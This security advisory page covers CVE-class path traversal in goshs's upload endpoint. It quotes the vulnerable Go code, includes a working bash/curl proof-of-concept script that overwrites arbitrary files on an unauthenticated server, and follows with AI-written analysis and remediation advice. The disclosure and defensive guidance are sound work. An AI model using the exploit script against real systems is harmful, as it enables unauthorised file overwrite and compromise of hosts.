Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
- POST multipart upload directory not sanitized |
httpserver/updown.go:71-174
This finding affect the default configuration, no flags or authentication required.
Details
File: httpserver/updown.go:71-174 Trigger: POST /<path>/upload (server.go:49-51 checks HasSuffix(r.URL.Path, "/upload"))
The filename is sanitized (slashes stripped, line 105-106), but the target directory comes from req.URL.Path unsanitized:
upath := req.URL.Path // unsanitized
targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1] // strips trailing "upload"
target := strings.Join(targetpath, "/")
filenameSlice := strings.Split(part.FileName(), "/")
filenameClean := filenameSlice[len(filenameSlice)-1] // filename sanitized
finalPath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, filenameClean)The route requires the URL to end with /upload. An attacker uses a path like /../../target_dir/upload, the suffix satisfies routing, and the ../.. escapes the webroot. The filename on disk is controlled by the attacker via the multipart filename field (after basename extraction).
Impact: Unauthenticated arbitrary file write to any existing directory on the filesystem.
PoCs:
#!/usr/bin/env bash
#
# Example:
# ./arbitrary_overwrite2.sh 10.0.0.5 8080
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
if [ ! -f "$LOCAL_FILE" ]; then
echo "[-] Local file not found: $LOCAL_FILE"
exit 1
fi
# Split target into directory and filename.
# The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename>
# So we put the target's dirname in the URL and the target's basename as the upload filename.
TARGET_DIR=$(dirname "$TARGET")
TARGET_NAME=$(basename "$TARGET")
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / and build path ending with /upload
TARGET_REL="${TARGET_DIR#/}"
POST_PATH="/${TRAVERSAL}${TARGET_REL}/upload"
echo "[*] Source: ${LOCAL_FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] POST: ${POST_PATH}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--path-as-is \
-X POST \
-F "file=@${LOCAL_FILE};filename=${TARGET_NAME}" \
"http://${HOST}:${PORT}${POST_PATH}")
echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can
---
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
AnalysisAI
Unauthenticated arbitrary file write in goshs (Go Simple HTTP Server) allows remote attackers to overwrite any file on the host filesystem via path traversal in multipart upload endpoints. The vulnerability exists in the default configuration with no authentication required. The upload handler fails to sanitize the directory component of the request path, enabling attackers to escape the webroot using URL-encoded traversal sequences (e.g., /../../target/upload) while the server validates only that paths end with '/upload'. Functional proof-of-concept exploit code is publicly available. EPSS data not available, not listed in CISA KEV.
Technical ContextAI
The vulnerability resides in goshs's multipart upload handler (httpserver/updown.go lines 71-174), a lightweight Go-based HTTP file server. While the handler correctly sanitizes uploaded filenames by stripping path separators and extracting the basename, it fails to validate the target directory path derived from req.URL.Path. The routing logic uses strings.HasSuffix to match '/upload' endpoints, then constructs the final file path by joining the unsanitized URL path (minus the '/upload' suffix) with the server's UploadFolder and the sanitized filename. This represents a classic CWE-22 path traversal vulnerability where URL-encoded directory traversal sequences (%2e%2e/) bypass client-side path normalization while server-side code concatenates them directly into filesystem operations. The Go package identifier pkg:go/github.com_patrickhener_goshs indicates this affects the goshs project, typically deployed as a development or file-sharing server. The CVSS vector CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H confirms network-accessible exploitation requiring no privileges, user interaction, or complex conditions.
RemediationAI
Vendor-released patch available per GitHub security advisory GHSA-jg56-wf8x-qrv5. Users should immediately upgrade to the patched version of goshs identified in the advisory at https://github.com/patrickhener/goshs/security/advisories/GHSA-jg56-wf8x-qrv5. The fix should implement proper path sanitization by validating that the resolved target directory remains within the intended webroot boundary before writing files, along with ensuring error responses properly return control flow to prevent partial file writes. As an interim mitigation for environments unable to immediately patch, restrict network access to goshs servers using firewall rules or authentication proxies, or disable upload functionality entirely if not operationally required. Organizations should audit existing deployments for evidence of exploitation by reviewing filesystem timestamps in sensitive directories like /etc, /root, /home, and system binary paths for unexpected modifications coinciding with HTTP POST requests to paths ending in '/upload'. Review web server access logs for requests containing URL-encoded traversal sequences (%2e%2e) in upload endpoints.
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-19490
GHSA-jg56-wf8x-qrv5